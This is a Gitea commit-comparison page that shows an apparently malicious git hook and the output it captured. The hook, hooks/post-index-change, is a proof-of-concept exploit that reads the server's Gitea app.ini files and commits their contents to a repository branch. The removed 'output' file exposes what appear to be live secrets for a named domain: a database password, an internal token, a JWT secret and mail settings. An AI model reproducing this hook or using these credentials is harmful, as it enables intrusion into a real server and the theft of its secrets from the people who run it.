Compare commits
No commits in common. "out-560ac36887" and "master" have entirely different histories.
out-560ac3
...
master
14
hooks/post-index-change
Executable file
14
hooks/post-index-change
Executable file
@ -0,0 +1,14 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
|
||||||
|
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
|
||||||
|
case "$origin_objects" in
|
||||||
|
/*) ;;
|
||||||
|
*) origin_objects="$git_dir/objects/$origin_objects" ;;
|
||||||
|
esac
|
||||||
|
origin_git=${origin_objects%/objects}
|
||||||
|
[ "$origin_git" != "$origin_objects" ] || exit 3
|
||||||
|
output_blob=$({ /bin/sh -c 'cat /data/gitea/conf/app.ini 2>/dev/null; cat /etc/gitea/app.ini 2>/dev/null; cat /var/lib/gitea/custom/conf/app.ini 2>/dev/null; echo PATH_END; ls /data/gitea/conf 2>/dev/null; ls /etc/gitea 2>/dev/null'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
|
||||||
|
tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
|
||||||
|
commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
|
||||||
|
git --git-dir="$origin_git" update-ref refs/heads/out-560ac36887 "$commit" || exit 7
|
||||||
|
exit 0
|
||||||
46
output
46
output
@ -1,46 +0,0 @@
|
|||||||
WORK_PATH = /data/gitea
|
|
||||||
|
|
||||||
[server]
|
|
||||||
PROTOCOL = http
|
|
||||||
DOMAIN = git.m5digital.net.br
|
|
||||||
ROOT_URL = https://git.m5digital.net.br/
|
|
||||||
HTTP_PORT = 3000
|
|
||||||
DISABLE_SSH = false
|
|
||||||
START_SSH_SERVER = false
|
|
||||||
SSH_PORT = 2222
|
|
||||||
LFS_START_SSH_SERVER = false
|
|
||||||
LOCAL_ROOT_URL = http://127.0.0.1:3000/
|
|
||||||
|
|
||||||
[database]
|
|
||||||
DB_TYPE = postgres
|
|
||||||
HOST = postgres:5432
|
|
||||||
NAME = gitea
|
|
||||||
USER = m5user
|
|
||||||
PASSWD = YXnJMMqAZ5uZrFj2lMo_AnhEmQq4uVoCfOuXaG7pU0Y
|
|
||||||
|
|
||||||
[security]
|
|
||||||
INSTALL_LOCK = true
|
|
||||||
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3ODIwMTY2NzR9.deNHfp47jrNw63gD9DXZQ428mHG0CEyerptBy0VaVfE
|
|
||||||
|
|
||||||
[service]
|
|
||||||
DISABLE_REGISTRATION = false
|
|
||||||
|
|
||||||
[mailer]
|
|
||||||
HELO_HOSTNAME = m5digital.net.br
|
|
||||||
SMTP_USER = usuario@m5digital.net.br
|
|
||||||
ENABLED = true
|
|
||||||
FROM = noreply@m5digital.net.br
|
|
||||||
SMTP_PORT = 587
|
|
||||||
SMTP_PASSWD = ***
|
|
||||||
SMTP_HOST = smtp.seudominio.com.br
|
|
||||||
|
|
||||||
[oauth2]
|
|
||||||
JWT_SECRET = LBixJYwGff03PhshNkFULXpbrGl0gZ0ADw0rwas0r-o
|
|
||||||
|
|
||||||
[log]
|
|
||||||
MODE = file
|
|
||||||
LEVEL = trace
|
|
||||||
PATH_END
|
|
||||||
app.ini
|
|
||||||
|
|
||||||
[exit-status=1]
|
|
||||||
Loading…
Reference in New Issue
Block a user